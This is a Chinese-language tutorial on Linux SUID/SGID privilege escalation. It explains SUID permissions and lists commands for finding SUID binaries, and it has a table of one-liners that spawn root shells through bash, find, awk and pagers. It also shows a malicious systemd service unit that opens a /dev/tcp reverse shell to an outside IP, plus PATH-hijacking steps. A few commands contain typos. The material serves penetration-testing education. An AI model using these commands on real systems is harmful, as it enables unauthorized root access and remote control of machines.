文章目录
- 1. SUID/SGID
- 2. 查找SUID文件
- 3. SUID/SGID提权
- 3.1 SUID配置不当
- 3.2 SUID systemctl提权
- 3.3 $PATH变量劫持
- 参考
1. SUID/SGID
SUID(Set User ID)意味着如果某个用户对属于自己的文件设置了这种权限,那么其他用户在执行这一脚本时也会具有其属主的相应权限。那么如果root用户的某一个脚本/可执行程序设置了这样的权限,其他普通用户在执行它的期间也同样具有root用户的权限。同样的原则也适用于SGID,执行相应脚本的用户将具有该文件所属用户组中用户的权限。
SUID特殊权限只适用于可执行文件。当用户执行此类型文件时,操作系统会暂时将当前用户的UID切换为文件所有者的UID。当文件执行结束后,身份的切换随之结束。
举个例子,用户想修改自己的密码,可以使用passwd 用户名
,passwd可执行文件位于/usr/bin/
下。我们知道,用户的密码信息保存在/etc/shadow
文件中,那么passwd
的原理其实就是修改shadow文件。
可以看到,该文件为root用户所有,并设置了仅root用户有 w(写)权限。那么,其他普通用户按理说是修改不了该文件,为什么普通用户可以使用passwd命令直接修改shadow文件?我们再看下面的passwd命令,执行权限x
变成了s
,这是因为设置了SUID权限,其他用户调用执行passwd时,操作系统会使用该文件所有者的的身份(root)去执行,故而可以修改shadow文件。如果取消passwd的SUID权限,你可尝试一下,普通用户修改密码会失败。
chmod u+s filename -->>设置SUID权限
chmod u+s filename -->>取消SUID权限
2. 查找SUID文件
以下命令皆可查找配置了SUID特殊权限的文件
find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
3. SUID/SGID提权
root用户设置了SUID的可执行文件,其他用户调用时也是以root权限运行,如果这些可执行文件本身又可以调用其他可执行文件,或者可以更改系统的一些配置选项,就可以达到提权的目的。
3.1 SUID配置不当
可以直接调用命令的命令,直接可以用于提权。
路径 | 提权命令 | 路径 | 提权命令 |
---|---|---|---|
/usr/bin/bash | bash-p | /usr/bin/find | find /etc/passwd -exec bash -p |
/usr/bin/csh | csh -p | /usr/bin/awk | awk ‘BEGIN {system(“/bin/bash”)}’ |
/usr/bin/sh | sh -p | /usr/bin/man | !/bin/bash |
/usr/bin/ksh | ksh -p | /usr/bin/more | !/bin/bash |
/usr/bin/zsh | zsh -p | /usr/bin/less | !/bin/bash |
还可以参考一下这篇文章:SUID Executables
3.2 SUID systemctl提权
systemctl是用于管理Systemd的命令行工具。systemd是CentOS7之后Linux启动的第一个进程,用于管理系统和服务。当systemctl被配置SUID权限时,可以通过创建service unit
文件实现提权。原理也是通过systemctl的root权限调用service unit
来执行程序,该程序继承systemctl的root权限达到提权目的。
默认情况下,systemctl命令是加载/usr/lib/systemd/system/
目录(统预定义的unit文件)和/etc/systemd/system
目录(用户定义的unit文件),不过通常测试人员获取的低权限账号是不具备这两个目录的写入权限的。将unit文件放在/dev/shm
(Linux中的共享内存文件系统)目录,该目录下的unit文件可以被systemctl正常加载且任意用户可写。
- 将代码写入
exp.service
文件
[Unit]
Description=I am hacker[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/bash -i > dev/tcp/192.168.10.2/12345 0>&1 2<&1"[Install]
WantedBy=multi-user.target
- 执行以下命令,复制unit文件到
/dev/shm
目录并使用systemctl加载
cp /tmp/exp.service /dev/shm #复制文件
systemctl link /dev/shm/exp.service #设置链接
systemctl eable --now /dev/shm/exp.service #启动服务
3.3 $PATH变量劫持
在shell中输入字符串后可以解析执行,是因为这些字符串对应着环境变量中的同名可执行文件。环境变量就是一个记录,记录着shell应该从哪些目录中寻找可执行文件。当我们输入ls
并回车,系统会按照$PATH变量中的路径依次查找,执行最先找到的命令文件。如果有一个root用户设置了SUID权限的可执行文件其后不能直接跟一个命令,或者说不能由用户传参去调用另一个可执行文件,但是其本身又调用了系统中的一个可执行文件,我们可以通过替换这个被调用的可执行文件,达到提权的目的。换句话说,通过覆盖环境变量,让我们植入的文件被优先找到执行即可。
那么,只要在/tmp
中添加一个同名程序即可被调用,也就达到提权目的。
参考
[1] 《Linux与Unix Shell 编程指南》
[2] 《权限提升技术-攻防实战与技巧》
[3] 【小迪安全】红蓝对抗 | 网络攻防 | V2022全栈培训
[4] systemd官网
[5] systemd和服务管理